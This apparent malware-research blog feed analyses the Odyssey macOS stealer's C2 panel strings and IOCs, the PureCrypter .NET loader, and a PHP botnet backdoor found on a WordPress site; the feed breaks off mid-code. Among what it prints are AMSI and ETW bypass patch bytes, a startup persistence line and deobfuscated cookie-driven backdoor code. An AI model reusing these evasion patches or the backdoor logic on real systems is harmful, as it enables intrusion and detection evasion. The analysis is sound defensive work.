            sendToAll: `Отправить Всем`,
            confirmRepeatTitle: `Подтвердить Repeat`,
            confirmRepeatPrompt: `Вы уверены, что хотите отправить команду 'Repeat Stealer' боту {{idOrTarget}}?`,
            sendCommand: `Отправить Команду`,
            enableSocks5Title: `Включить Socks5`,
            enableSocks5Prompt: `Вы уверены, что хотите включить Socks5 для бота {{idOrTarget}}?`,
            enableShellTitle: `Включить Reverse Shell`,
            enableShellPrompt: `Вы уверены, что хотите включить Reverse Shell для бота {{idOrTarget}}?`,
            enable: `Включить`,
            makePersistentTitle: `Сделать постоянным`,
            makePersistentPrompt: `Вы уверены, что хотите сделать бота {{idOrTarget}} постоянным?`,
            enterShellCommand: `Введите shell команду...`,
            unhandledActionPrompt: `Необработанное действие: {{alert}}`,
            confirm: `Подтвердить`,
            close: `Закрыть`,
            selectionLimit: `Достигнут лимит выбора. Вы можете выбрать не более 15 логов вручную.`,
            downloadLogPrompt: `Скачать лог?`,
            deleteLogPrompt: `Удалить лог?`,
            deleteAllLogsPrompt: `Удалить все логи?`,
            downloadSelectedPrompt: `Скачать выбранные логи?`,
            deleteSelectedPrompt: `Удалить выбранные логи?`,
            maxLimit: `(Макс. 15)`,
            tokenNotFound: `Токен аутентификации не найден. Пожалуйста, войдите снова.`,
            errorCreatingLink: `Ошибка при создании ссылки: {{status}}`,
            failedToCreateLink: `Не удалось создать ссылку.`,
            copyLink: `Скопировать ссылку`,
            passwordChangedSuccess: `Пароль успешно изменен!`,
            couldNotChangePassword: `Не удалось изменить пароль.`,
            settingsSavedSuccess: `Настройки успешно сохранены!`,
            couldNotSaveSettings: `Не удалось сохранить настройки.`,
            errorConnectingServer: `Ошибка подключения к серверу.`,
            successTitle: `Успех`,
            errorTitle: `Ошибка`,
            passwordPlaceholder: `Пароль`,
            tokenPlaceholder: `Токен`,
            chatIdPlaceholder: `ID Чата`,
            usernameRequired: `Требуется имя пользователя`,
            failedToCreateUser: `Не удалось создать пользователя`,
            failedToUpdateUser: `Не удалось обновить пользователя`,
            unexpectedError: `Произошла непредвиденная ошибка`,
            checkAllFields: `Пожалуйста, проверьте все обязательные поля`,
            logDeletedSuccess: `Лог успешно удален`,
            allLogsDeletedSuccess: `Все логи успешно удалены`
        },
        errors: {
            deleteLog: `Не удалось удалить лог`,
            deleteAllLogs: `Не удалось удалить все логи`
        },
        errorBoundary: {
            title: `Что-то пошло не так`,
            description: `Произошла непредвиденная ошибка. Пожалуйста, попробуйте перезагрузить страницу.`,
            retry: `Перезагрузить страницу`,
            localTitle: `Ошибка виджета`,
            localRetry: `Повторить`
        },
        common: {
            empty: `Ничего не найдено`,
            noSeedsDesc: `Все собранные сид-фразы будут отображаться здесь.`,
            noBotsDesc: `Здесь появятся ваши активные боты, как только они подключатся к серверу.`,
            noUsersDesc: `Вы можете добавить новых пользователей с помощью кнопки «Добавить пользователя» выше.`,
            noSocksDesc: `Здесь будут перечислены активные socks-соединения ваших ботов.`,
            noRevShellsDesc: `Здесь будут перечислены активные reverse shell соединения.`
        },
        seeds: {
            title: `Сиды`,
            seed: `Сид`,
            username: `Пользователь`,
            date: `Дата`,
            walletType: `Тип кошелька`,
            passphrase: `Пароль`,
            ip: `IP`,
            country: `Страна`,
            action: `Действие`,
            copy: `Копировать`,
            loading: `Загрузка сидов...`,
            noSeeds: `Сиды не найдены.`,
            copied: `Сид скопирован в буфер обмена!`
        },
        revshells: {
            ip: `IP`,
            cc: `Страна`,
            action: `Действие`,
            connect: `Подключиться`,
            delete: `Удалить`,
            deletedSuccess: `Reverse shell успешно удалён.`,
            unknownFetchError: `Неизвестная ошибка при получении reverse shells.`,
            unknownDeleteError: `Неизвестная ошибка при удалении reverse shell.`
        }
    };

C2 Operational Infrastructure

The feature set is extensive, including SOCKS5 proxies, reverse shell access, Telegram notifications, FTP exfiltration, and anti-duplication logic.

The builder allows customization of payloads with icons, backgrounds, password dialogs, and even custom AppleScript injection. Operators can also configure synthetic error messages to display after the stealer completes, maintaining the illusion of a legitimate application failure.

Quite an operation.

Threat Intelligence and Attribution

This campaign represents Odyssey stealer, a known macOS infostealer first documented in 2025 as a rebrand of the earlier Poseidon stealer, or an AMOS fork. The malware has evolved significantly since its initial discovery, with improved obfuscation, expanded credential theft capabilities, and an additional RAT component for post-exploitation.

The English/Russian interface and Cyrillic error messages strongly indicate Russian-speaking threat actors. The professional infrastructure, nice panel UI, and subscription-based model suggest an organized, profit-driven operation running as a MaaS (Malware-as-a-Service) platform.

Some articles related to this malware family:

date article
2025-06-26 cyfirma: ODYSSEY STEALER : THE REBRAND OF POSEIDON STEALER
2025-07-16 jamf: Signed and stealing: uncovering new insights on Odyssey infostealer
2025-10-09 redcanary: A taxonomy of Mac stealers: Distinguishing Atomic, Odyssey, and Poseidon
2026-03-09 wizardcyber: Odyssey Stealer: The Evolution Of MacOS Threats Targeting Cryptocurrency & Sensitive Data
2026-05-28 malwarebytes: Fake ChatGPT download site infects Windows and Mac users with malware

IOCs

Hashes

bab1b1743bbfc0b36565728d202415574028072054777260060cb524f798ca16
254e10143ae7153f74fd92bccb536d6174980c9a9edd571df5b569955ee5e129
234bb752e806b4a5196bd6a6d34b15ebb0fbe273e6ccb6eab5d6c5dcd6309d69
227e5a628ac131e4825d2a5fa8a7a051742a8c304f5cbdb06a3858b0e88c5054
33a89db6eea3b3b01e56439de1e40d0ca542bc1938a994485c44d6037e113739
b5c06c04a75a7fa6fb54a65e55ddbf1c155073ad0d92b2da685470c31e20d298
0ff3053d9a6f510b788f7c3a84b75a14cc98e56adde725cf7617161d3bcf8723

Network Indicators

https://nqowf[.]com
http://192.253.248[.]181

POST https://nqowf[.]com/log
GET http://192.253.248[.]181/api/v1/getscptraw
GET http://192.253.248[.]181/api/v1/bot/joinsystem/{username}/{version}
GET http://192.253.248[.]181/api/v1/bot/actions/{botID}

username: prior
User-Agent: bot

File System Artifacts

/tmp/lksopo
/tmp/lksopo.zip
/tmp/socks
/tmp/unix001
~/.bhost
~/.phost
~/.username
~/.botid
~/.lastaction
~/.uninstalled
Back to top ]]> malware stealer macos reversing https://0xlibris.net/posts/odyssey_infostealer/ Mon, 22 Jun 2026 00:00:00 GMT Dissecting PureCrypter: A Technical Malware Analysis https://0xlibris.net/posts/infection_chain_infostealer_2/

Introduction

After some time away (lots of distractions) from the initial analysis of the infection chain, explained in the previous blog post, I decided to continue the investigation.

In that post, I briefly suggested that the malware might be part of the Heracles infostealer family. However, that assumption was superficial and primarily based on VirusTotal labels. Some vendors had also tagged it as “PureLog,” but at the time, I had no idea what that referred to, so I blindly ignored it.

As I dug deeper into the next stage, what I initially thought was the final payload, I discovered that it was actually another step in the infection chain. Eventually, I identified it as a loader called PureCrypter.

There are several detailed analyses of this malware. The reports I found most useful are listed below:

date article
2022-06-13 Technical Analysis of PureCrypter: A Fully-Functional Loader Distributing Remote Access Trojans and Information Stealers
2022-08-29 PureCrypter is busy pumping out various malicious malware families
2022-12-16 Types of Recent .NET Packers and Their Distribution Trends in Korea
2022-12-27 Pure coder offers multiple malware for sale in Darkweb forums
2024-01-16 A Full Analysis of the Pure Malware Family: Unique and Growing Threat
2024-05-13 Mallox affiliate leverages PureCrypter in MS-SQL exploitation campaigns
2025-01-28 New TorNet backdoor seen in widespread campaign
2025-05-08 Pure Crypter Malware Analysis: 99 Problems but Detection Ain’t One

To summarize, PureCrypter is a .NET-based malware whose primary function is to download and execute additional payloads. This type of functionality classifies it as a loader or dropper, a critical component in the modern malware ecosystem.

PureCrypter is distributed as part of a Malware-as-a-Service (MaaS) offering by a threat actor known as PureCoder. The service includes various malware tools from the “Pure” family, such as PureMiner, PureLogs, and PureClipper, alongside PureCrypter itself. Customers can subscribe to the service with either monthly or lifetime licenses and are given the ability to customize their PureCrypter builds by selecting options for code injection methods, anti-analysis techniques, and persistence strategies.

Interestingly, I discovered the most recent article on this list, from eSentire, while wrapping up this blog post. It turns out I was analyzing more or less the same sample (or malware version) described in their report, which helped validate many of my findings. It also guided me in renaming some variables to better reflect the original ones and improve overall readability.

In this article, I’ll take a deeper look into the loader itself and correct some of the (bad) assumptions I made in the previous post.

Pure Crypter Outer Layer

This section focuses on analyzing the file 5.exe, which was extracted in the previous post: Analyzing the Infection Chain of a Stealer Malware.

Initial Analysis

The first step is to identify the file:

Detect It Easy reveals it’s a 32-bit .NET binary, heavily obfuscated, and contains packed (encrypted) resources.

The file includes obfuscated class and method names, and two different embedded resources.

Automatic Deobfuscation

In order to understand more what it really does, I used Net Reactor Slayer to help me deobfuscate it.

The resulting structure is slightly more readable in dnSpy, though still partially obfuscated.

The manifest tries to impersonate Macrium Rescue Media Builder. It is a legitimate utility used to restore disk images, repair Windows boot issues, or recover from ransomware attacks wtf.

No relevant strings were found in the binary, only some general imports, the module name (Upsiugyll.exe), and some cryptographic class references. This strongly suggests the file decrypts and loads an embedded payload.

Upsiugyll
Upsiugyll.exe
Txompdygpzu.Properties.Resources.resources
System.Security.Cryptography
CryptoStream
CryptoStreamMode
ICryptoTransform
SymmetricAlgorithm
FromBase64String
CreateDelegate
GenerateKey
set_Key
set_IV
CreateDecryptor

The binary contains two embedded resources:

  • One is very small (359 bytes), with apparently random data.
  • The other is ~1 MB with high entropy (8.0), most likely encrypted.

Main Method Analysis

The program’s entry point is the Main method, which immediately calls another method.

String (de)obfuscation

The strings of the binary are obfuscated, and use the Class4.smethod_0(279212158) function to decrypt them during runtime.

While Karsten Hahn’s (MalwareAnalysisForHedgehogs) excellent video explains how to reverse this kind of obfuscation, it didn’t work in my case.

Example output:

decoded 279212158 : X0X
decoded 279212426 : X0X
decoded 279212474 : X0X
decoded 279212449 : X0X
decoded 279212220 : X0X
...

Analyze Decryption Methods

Looking further, it’s quite easy to discover the real functionality.

The key function is GClass1.smethod_0, which takes two parameters: a Type and a string.

According to .NET documentation, it uses CreateDelegate to invoke a method dynamically:

  • typeof(Action) is used to encapsulate a method with no parameters and no return value.
  • type_0 is the class instance.
  • string_0 is the name of the method to be called.

In our case, GClass1.smethod_0(Class4.smethod_0(279212158)) will be the new class instance, and Class4.smethod_0(279212426) the method to call.

All signs point to this method being responsible for decrypting the large encrypted resource.

This function also acts as a wrapper around a deeper decryption method:

The decryption logic becomes obvious when looking at the method body:

It takes three parameters:

  1. Encrypted Data
  2. Decryption Key
  3. Initialization Vector (IV)

With this knowledge, we just have to place some breakpoints and execute the malware to capture the decrypted payload.

Extract the Encrypted Resource

Dynamic Analysis

Using dnSpy, I began dynamic analysis by setting breakpoints inside the decryption routine. I first identified the AES key, which is retrieved from a separate method:

Continuing execution through the decryption function, I captured the IV and the decrypted data:

Key:

  • 5488863CFB8BAFDDD9194AD722F0D263DFF9A80051D7739DE22E24316BF42C46
  • VIiGPPuLr93ZGUrXIvDSY9/5qABR13Od4i4kMWv0LEY=

IV:

  • 9F01D9E9F6881F70A4A59268514BE120
  • nwHZ6faIH3CkpZJoUUvhIA==

The decrypted data (held in the array variable) is another binary, which I saved as 6.dll.

At the end of the main method, we can see the malware creating a delegate for a new method call using the decrypted assembly (“MkGDQLeJ4nATPJctZX.NGCpBwA62Zg4TyqkUP”) and entry method (“IBdGkVOwc”).

Static Analysis With Openssl

To verify the dynamic results, I attempted to decrypt the resource statically using OpenSSL. I saved the encrypted resource as Jobotp, and used the known key and IV:

$ openssl enc -d -aes-256-cbc -in Jobotp -out Jobotp_dec -A -K 5488863CFB8BAFDDD9194AD722F0D263DFF9A80051D7739DE22E24316BF42C46 -iv 9F01D9E9F6881F70A4A59268514BE120
$ sha256sum Jobotp* 6.dll
b988bafe5ed6c8249f8f930be0b5c825cc76d62b23ec635d6e2ee03170415cb2  Jobotp
1edfa0f52db64ab0ee4ec893e49967eea811da7aec2c5f865c5653d2b6cfc643  Jobotp_dec
1edfa0f52db64ab0ee4ec893e49967eea811da7aec2c5f865c5653d2b6cfc643  6.dll

The hashes of the decrypted file (Jobotp_dec) and the dynamically extracted 6.dll are the same, great :)

Pure Crypter Inner Layer

The next stage of the malware, saved as 6.dll, is another obfuscated .NET binary.

Initial Analysis

Once again, this is a 32-bit .NET executable. Packed, encrypted, and obfuscated.

The entropy shows packed content:

The binary is deeply obfuscated, and although the entry point (“IBdGkVOwc”) was extracted in the previous stage, it doesn’t seem to do anything meaningful on its own.

Embedded resources of 6.dll:

  • 0x000526B3: a8sd8xXjW1fQDg5lt1.TtAThnlX8QQWlpiIxY (328269 bytes)
  • 0x0004EC48: eL6CJJmBevreXd7yBF.JaNMZ3LqTZJqXYVa7s (14951 bytes)
  • 0x000A2904: NjeipF3nBvRK43tZ0T.kF2eOl1lrd1DxwkVBP (256 bytes)
  • 0x000A2A08: OgrEIKkQH20BVumdDM.6xsIgkhl6Yf897SD0n (337408 bytes)
  • 0x000F500C: tgZ33CHmTLqfrCcG2b.8Z63dnKmBDPRIoEiDg (1116 bytes)
  • 0x0004D894: xVi40WxNWgcbs5XrtX.XflwYC6A8MigIQwC9W (5040 bytes)

Automatic Deofbuscation

I ran .NET Reactor Slayer again to simplify the analysis process.

While the obfuscation is slightly reduced and the code is easier to navigate, it still contains over a hundred classes and even more methods.

The resources have been reduced to only three:

  • 0x0001BAF0: eL6CJJmBevreXd7yBF.JaNMZ3LqTZJqXYVa7s (14951 bytes)
  • 0x0001F55C: NjeipF3nBvRK43tZ0T.kF2eOl1lrd1DxwkVBP (256 bytes)
  • 0x0001F660: OgrEIKkQH20BVumdDM.6xsIgkhl6Yf897SD0n (337408 bytes)

String Deofbuscation

This sample uses a similar string encryption technique as seen in the previous layer. Here, strings are decrypted using Class47.smethod_0().

I tested this by decrypting a single string, and it worked! Then I used Karsten’s Python script to automatically extract more strings:

python.exe .\string_decrypter.py "C:\Users\user\Desktop\6_Slayed.dll" 0x0600020a

This time, the script worked perfectly. Shoutout to Karsten Hahn <3

With the decrypted strings in place, many functions became much clearer. For example, in Class3, several dynamically loaded system functions are now visible:

After renaming the methods and variables, the code starts to make more sense:

By analyzing these functions and their usage across the binary, I was able to identify what appears to be the main logic of this payload. After some time and a lot of manual renaming and tracing, I began to understand the inner workings.

I renamed all the function names and parameters myself. Some names might not be exact or even misleading, but I picked ones that made the most sense to me during the analysis.

Main Function and Malware Configuration

The main function begins by loading an embedded resource, which is then decrypted and decompressed. The resulting data is deserialized into objects, which are mapped to internal classes.

By debugging the malware and placing a breakpoint after this stage, I was able to extract the configuration data (distributed across three classes), and rename the associated fields to improve readability and make more sense of it. This process took several iterations.

All these configuration options are used later in the code, enabling or disabling specific functionalities. Many of these options have been previously observed in the samples analyzed by Romain Dumont from Zscaler (2022), and they are also present in the lastest eSentire report (2025).

Additionally, leaked images of PureCrypter’s builder helped me to confirm, rename, and identify some features in the binary.

  • PureCrypter Builder v2 (2022):

  • PureCrypter Builder v4 (2025):

Resources

There are three embedded resources after slayering the binary. One of them, OgrEIKkQH20BVumdDM.6xsIgkhl6Yf897SD0n, is quite large (337408 bytes). By looking at the entropy, it revealed a constant value of 8.0, strongly indicating that this resource is encrypted.

I tried to manually extract its contents, but nothing worked. I kept thinking it might hide another part of the malware, like a payload, or some extra piece of the loader. That idea stuck with me the whole time and became the reason I kept going deeper into the analysis.

I had already found that the malware’s configuration is in some place of the resources, but the line that gets the object ("Qjbdw") doesn’t directly match any of the visible resources in the binary.

internal static byte[] \uE004 {
    get {
        object @object = Resources.\uE002.GetObject("Qjbdw", Resources.cultureInfo_0);
        return (byte[])@object;
    }
}

[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager \uE002 {
    get {
        if (Resources.resourceManager_0 == null) {
            ResourceManager resourceManager = new ResourceManager("Ygksfxaml.Properties.Resources", typeof(Resources).Assembly);
            Resources.resourceManager_0 = resourceManager;
        }
        return Resources.resourceManager_0;
    }
}

This discrepancy is explained by a helper method within Class68, which I manually renamed to load_resource_OgrEIKkQH20BVumdDM(). This function is called in a lot of different places of the code.

Resource Loader

Class68 is a central piece of the resource unpacking logic:

  • Extracts the embedded resource OgrEIKkQH20BVumdDM.6xsIgkhl6Yf897SD0n using Assembly.GetManifestResourceStream()
  • Unpacks the data
  • Loads the data into memory as an Assembly object
  • Adds the in-memory assembly in AppDomain.CurrentDomain.ResourceResolve, in order to dynamically resolve dependencies.

This mechanism acts as a dependency resolver, and all the dependencies are embedded in a single compressed resource.

Class49 also decrypts resources and adds them to AppDomain.CurrentDomain.ResourceResolve.

Embedded Resource Registry

Class45 reinforces this hypothesis. It contains a dictionary mapping different assembly dependencies.

This list includes multiple resource DLLs, commonly bundled via tools like Costura. These DLLs are not directly visible in the unpacked binary because they’re nested inside the larger OgrEIKkQH20BVumdDM.6xsIgkhl6Yf897SD0n resource.

Pure Crypter Features

With the resource topic clarified, we can continue with the main function analysis.

The main function calls 17 methods, each corresponding to a distinct feature of the malware. These features are enabled or disabled based on the configuration parameters, extracted just before.

In the analyzed sample, many of these features were disabled. However, it was still possible to identify their intended behavior.

The PureCrypter malware includes several mechanisms for executing additional payloads:

    1. run_powershell_command

      Executes a PowerShell command

    1. run_dropper

      Drops a payload to the system’s temporary directory and executes it.

    1. run_input_payload

      Loads and executes a payload either embedded within the binary or downloaded from a remote URL.

      Supports multiple injection techniques:

      - Reflection
- Process Hollowing
- Shellcode

    1. run_loader

      Executes shellcode directly from an embedded resource.

Only run_input_payload was enabled in my sample.

1. ensure_single_instance

This function is called at the very start, and ensures the malware runs only once per system. It creates a Mutex using a name from the configuration.

If the mutex already exists, it calls a function to restore the network and exits.

2. antidebug

If is_debug() returns true, the malware exits early after restoring the network.

The is_debug function performs several anti-analysis checks:

  1. CheckRemoteDebuggerPresent
  2. Checks if SbieDll.dll or cuckoomon.dll are loaded (Sandboxie and Cuckoo Sandbox detection)
  3. Number of processors > 2
  4. Parent process is not cmd
  5. Detects virtual environments via WMI ("VMware|VIRTUAL|A M I|Xen" or "Microsoft|VMWare|Virtual")
  6. Checks monitor size
  7. Confirms system is 64-bit
  8. Username is not "john", "anna" or ones containing "xxxxxxxx"

3. ipconfig_release

Disconnects the network using ipconfig /release

4. sleep_x_seconds

Implements a delay before proceeding. Wasting my time.

5. bypass_AMSI

Bypasses the AMSI using in-memory patching.

The obfuscation layer simply strips “Hzhmoojfp” from strings to reveal amsi.dll and AmsiScanBuffer.

private static string smethod_1(string string_0)
{
    return string_0.Replace("Hzhmoojfp", null);
}

The function:

  • Resolves AmsiScanBuffer via GetProcAddress
  • Deobfuscates the patch
  • Sets memory to PAGE_EXECUTE_READWRITE
  • Patches the function using Marshal.Copy
  • Restores the original memory protection

Patch forces AmsiScanBuffer to always return 0x80070057 (E_INVALIDARG), making AMSI scans fail.

  • 64-bit patch: "uFcAB4D"
0x00000000      b857000780     mov eax, 0x80070057
  • 32-bit patch: "uFcAB4DCGAA="
0x00000000      b857000780     mov eax, 0x80070057
0x00000005      c21800         ret 0x18

This technique is well-documented in Rasta Mouse’s article.

6. bypass_ETW

Disables Event Tracing for Windows (ETW) by patching EtwEventWrite.

This technique is detailed in The Red Team Vade Mecum. It prevents ETW from logging telemetry data, evading detection by Windows Defender and EDR tools.

The function patches EtwEventWrite similarly to the AMSI bypass:

  • 64-bit patch: "whQA"
0x00000000      c3             ret
  • 32-bit patch: "ww=="
0x00000000      c21400         ret 0x14

7. DLL_unhooker

Implements API unhooking for ntdll.dll and kernel32.dll on Windows 10+ systems.

The core logic is in remove_security_hooks, which performs the following steps:

  • Loads the target DLL
  • Gets information about the loaded module via GetModuleInformation
  • Locates the original file from the system directory
  • Opens the clean DLL file from disk and creates a file mapping of it
  • Maps the file into memory to access its original contents
  • Changes memory protection to allow writing
  • Copies the clean, original code from the file mapping over the potentially hooked code in memory
  • Restores the original memory protection

This is a technique used to blind security tools that use API hooking to monitor malware behavior. By “unhooking” these DLLs, the malware restores the original, unmodified functions, effectively bypassing the security monitoring.

8. defender_exclusion

If the defender_bypass option is enabled in the configuration, the malware attempts to add its own executable and the persistence file to Windows Defender’s exclusion list.

The process:

  • Constructs PowerShell commands to exclude:
    • The malware file path
    • The persistence file path
  • Encodes the commands in Base64
  • Enters an infinite loop attempting to execute the commands with elevated privileges and a hidden window

9. run_powershell

Executes arbitrary PowerShell commands defined in the configuration.

  • If runas is set in the config, it attempts to execute with elevated privileges
  • Uses ProcessStartInfo with CreateNoWindow and WindowStyle.Hidden to remain stealthy
  • Keeps retrying until the command runs successfully (if elevated execution is required)

10. run_dropper

Drops and executes an embedded payload to the system’s temporary directory.

Execution flow:

  • Checks if the dropper feature is enabled and if persistence is already installed
  • Builds the file path in the system’s temp directory (Path.GetTempPath())
  • If one_time is false or the file doesn’t already exist:
    • The payload is reversed and GZip decompressed
    • Saved to disk
    • Executed using Process.Start()

This is a traditional dropper approach.

11. show_fake_message

Displays a fake message box to deceive the user.

12. setup_persistence

This function checks the configuration to determine if persistence should be installed, and chooses one of three available methods:

  1. Registry Run key

    Adds a value to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run pointing to the malware executable path.

  2. VBS Startup Script

    Drops a .vbs file into the Startup folder which silently executes the malware.

    File.WriteAllText(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), Path.GetFileNameWithoutExtension(fileInfo.FullName)) + ".vbs", "CreateObject(\"WScript.Shell\").Run \"\"\"" + fileInfo.FullName + "\"\"\"");

  3. Scheduled Task

    Creates a Windows scheduled task that:

    • Runs repeatedly every 2–4 minutes
    • Is not disabled by battery usage settings
    • Has no time limit and is not hidden
    • Executes the malware persistence path

In all cases, the malware first ensures the target persistence directory exists and copies itself to the configured location.

Anti-upload

If anti_upload option is enabled in the configuration, and no input_payload.destination_path is defined, the malware appends 260MB-300MB of random bytes to its copied file. This bloats the file to avoid automatic submission to antivirus vendor clouds, which often restrict large samples.

13. anti_file_delete

If enabled, the malware opens its own file with restrictive FILE_SHARE_READ permissions, then uses DuplicateHandle to pass the handle to explorer.exe.

This prevents the file from being deleted, as explorer.exe holds an open handle with exclusive access.

14. run_input_payload

This is the main loader. It first attempts to enter debug mode if running as admin, then retrieves the payload and executes it using one of the configured injection methods.

If load_from_disk is false, the loader fetches the payload from a remote URL. Otherwise, it decrypts and decompresses the local embedded payload.

If the payload is embedded, it is decrypted and decompressed using the same method and encryption keys as the configuration, meaning it is indeed double-packed.

  • AES Key: /aafR1VtIS+XL4NVuj3yhOxi1YHh8mOLQ9CIjDHJPwM=
  • AES IV: EnIC8TwBlRAospftIvUaCA==

The loader supports three execution methods:

  1. execute_reflection

    Loads and executes the payload as a .NET assembly in memory.

  2. execute_process_hollowing

    Starts a new process (InstallUtil.exe, RegAsm.exe, MSBuild.exe, aspnet_compiler.exe, or AppLauch.exe, based on the information from the leaked builder), then deallocates its original memory and injects the malicious payload in its place.

  3. execute_shellcode

    Allocates memory in another process (or the same one if target doesn’t exist), writes shellcode, and spawns a thread to run it.

15. run_loader

This function executes an additional payload embedded in the configuration. It works similarly to the run_dropper function (reversing and decompressing the payload) but instead of writing it to disk, it injects and runs it directly using the previously described execute_shellcode method.

16. self_deletion

As part of its cleanup routine, and if enabled in the configuration, the malware attempts to delete its own executable using a PowerShell command.

17. ipconfig_renew

As a final step, the malware tries to reconnect the network using ipconfig /renew

Then, it terminates its own process:

Process.GetCurrentProcess().Kill();

Next Stage Payload

After all this looong analysis, let’s continue with my actual sample.

By looking at the configuration, many of the explained options were disabled. The only relevant information was the payload, of only 0x22 bytes.

hxxps://usa[.]trendys[.]cloud/code.bin

Sadly, at the time of the analysis, the domain was no longer alive :(

But that didn’t stop me there. I checked urlscan and bingo! There was one hit, and it even captured the downloaded file.

SHA256: dffdda5092b49622eb45606a32a23015c08e81df9fc4a8ba75bc1f6c32fa1b8e
MIME: Audio file with ID3 version 2.4.0
Size: 7 MB (6975602 bytes, 100% done)
Downloaded from: https://usa[.]trendys[.]cloud/

A 7MB audio file? That sounded familiar…

The hash matched the one analyzed in my previous blog post, confirming it’s from the same campaign. However, it wasn’t the code.bin file I was after.

Luckily (or not), I found it on VirusTotal:

According to VirusTotal, the downloaded file is a Rhadamanthys stealer.

But this post is already long enough. Let’s save that analysis for another time, if so.

Conclusion

I wanted to be absolutely sure the loader didn’t contain any hidden payloads, so I went all in on a full deep dive.

In the end, my particular sample wasn’t all that interesting, but the journey was well worth it. I learned a ton about this loader and .NET internals along the way.

If you made it this far, I hope you learned something too :)

Back to top ]]> malware reversing loader dropper .NET https://0xlibris.net/posts/infection_chain_infostealer_2/ Thu, 22 May 2025 00:00:00 GMT Analyzing (and weaponizing) a PHP botnet agent https://0xlibris.net/posts/php_botnet/

Introduction

Recently, I gained access to a compromised WordPress site (or more likely, an old honeypot filled with malware). This presented a perfect opportunity to investigate how PHP botnets used (and still use!) to operate.

These malware samples have been circulating around the web for a very long time, and it’s shocking how a widely known threat still takes an important role in the malware distribution ecosystem.

The sample was discovered like a dead fish that pops up in the surface: the php code was shown on top of 404-not-found pages. The reason? who knows, maybe a migration of the site, an explotation failure, an error from the operator, or perhaps the botnet was dismantled and is no longer active.

In this post, I’ll walk through the process of analyzing and dissecting this PHP botnet code, examining how attackers have historically abused and weaponized compromised WordPress sites to build their botnets. I’ll also try to recreate how this C2 agents are operated.

Finally, I’ll explore the broader implications of this threat by assessing its prevalence across the web, using YARA-based retrohunting on VirusTotal and targeted Google searches.

Deobfuscation

This is a picture of the original sample I found:

A bit obfuscated, but it’s PHP and not so complex to analyze.

Initial Beautification

Since we’re dealing with PHP code, the first step is to improve its readability. I used an online PHP beautifier from beautifytools.

I needed to add the <?php tag at the beginning of the file.

The beautified file contains 467 lines of code.

Automated Deobfuscation

I tested several tools for automatic deobfuscation. The best results came from reverse-php-malware by bediger4000.

After beautifying the output again, the file was reduced to 446 lines with various variable substitutions.

Code Pattern Analysis

The code appears to be repeated seven times with different randomly generated variable names. These modifications were likely introduced by the obfuscation tool / builder.

I divided the file into 7 smaller snippets that follow the same pattern.

$ wc php_botnet_[1-7].php
   64   222  2552 php_botnet_1.php
   66   242  2667 php_botnet_2.php
   63   220  2450 php_botnet_3.php
   63   214  2413 php_botnet_4.php
   63   267  2720 php_botnet_5.php
   62   229  2446 php_botnet_6.php
   64   222  2623 php_botnet_7.php
  445  1616 17871 total

Manual Deobfuscation

A local PHP shell can help us decode obfuscated strings:

php > $rOujMiLGI = 'clas' . chr(632 - 517) . chr(217 - 122) . 'exists';
php > echo $rOujMiLGI;
class_exists

We can use this technique to resolve all remaining obfuscated strings throughout the code.

Initial Code Analysis

The first part appears identical across all seven code variants (with different variable names):

$JwnMvjTlt = 'D_nrl';
$rOujMiLGI = 'class_exists';
$rmjDtqOlI = class_exists($JwnMvjTlt);
$rOujMiLGI = '14281';
$zPfeGqPXz = strpos('14281', 'D_nrl');
if ($rmjDtqOlI == $zPfeGqPXz) {
    // rest of the code
}

After substituting variables, we can eliminate $rOujMiLGI which is only meant to complicate analysis and is not really used:

$rOujMiLGI = 'class_exists';
$rOujMiLGI = '14281';
if (class_exists('D_nrl') == strpos('14281', 'D_nrl')) {
    // rest of the code
}

The actual condition simplifies to:

if (class_exists('D_nrl') == strpos('14281', 'D_nrl')) {
    // rest of the code
}

The strpos() function searches for “D_nrl” in “14281”, which will always return false. Therefore, the condition becomes:

if (class_exists('D_nrl') == false) {
    // rest of the code
}

The class_exists() function checks if the class “D_nrl” exists in the current PHP environment. This entire block serves as a one-time execution check, with deliberately confusing comparisons to evade static code analysis or make reverse engineering more challenging.

Core Functionality

The next section contains a function, a class definition, a variable declaration, and a function call:

function EtkaemkTDw() {
    // ...
}
$mzoDChjlh = '33115';
class D_nrl {
    // ...
}
EtkaemkTDw();

For clarity, I’ve renamed EtkaemkTDw() to init() since it initializes execution. This function simply instantiates a new class with the value 33115 + 33115 (66230):

function init() {
    $fniPN = new D_nrl(33115 + 33115);
    $fniPN = null;
}

According to the PHP manual, the constructor method is called on each newly-created object, making it perfect for initialization operations.

Class Structure Analysis

The class contains both the functions __construct() and __destruct(), as well as other methods and variables.

class D_nrl {
    private function sUZcNV($mzoDChjlh) {}
    public function kGnmOo() {}
    public function __destruct() {}
    public function BpJQpTdwfY($eTwDpFJI, $VpuPvEqNf) {}
    public function enSQQgXymq($eTwDpFJI) {}
    public function __construct($AfOrpPu = 0) {}
    public static $UFvzjxeE = 62542;
}

The kGnmOo() method is unused and can be eliminated:

public function kGnmOo() {
    $data = '53428';
    $this->_dummy = str_repeat($data, strlen($data));
}

The BpJQpTdwfY() method performs xor operations between a string (inside an array) and possibly a key. The supposed key is repeated to match the size of the string.

public function BpJQpTdwfY($eTwDpFJI, $VpuPvEqNf) {
    return $eTwDpFJI[0] ^ str_repeat($VpuPvEqNf, intval(strlen($eTwDpFJI[0]) / strlen($VpuPvEqNf)) + 1);
}

Renaming for clarity:

public function xor($data, $key) {
    return $data[0] ^ str_repeat($key, intval(strlen($data[0]) / strlen($key)) + 1);
}

The enSQQgXymq() function is clearly a base64 decoder that returns an array (by using array_map). I’ve renamed it to b64_decode():

public function enSQQgXymq($data) {
    return array_map('base64_decode', [$data]);
}

Constructor Analysis

The __construct() function takes an unused parameter that can be removed:

public function __construct($AfOrpPu = 0) {
    $data = '';
    $npkQFOsND = $_POST;
    $FOmTmKK = $_COOKIE;
    $key = '5db5f694-e20d-4e23-b0b6-4e7f09687865';
    $HlEIDr = @$FOmTmKK[substr($key, 0, 4) ];
    if (!empty($HlEIDr)) {
        $HlEIDr = explode(',', $HlEIDr);
        foreach ($HlEIDr as $AQBahfuzGX) {
            $data .= @$FOmTmKK[$AQBahfuzGX];
            $data .= @$npkQFOsND[$AQBahfuzGX];
        }
        $data = $this->b64_decode($data);
    }
    D_nrl::$UFvzjxeE = $this->xor($data, $key);
    if (strpos('5db5f694-e20d-4e23-b0b6-4e7f09687865', ',') !== false) {
        $key = ltrim($key);
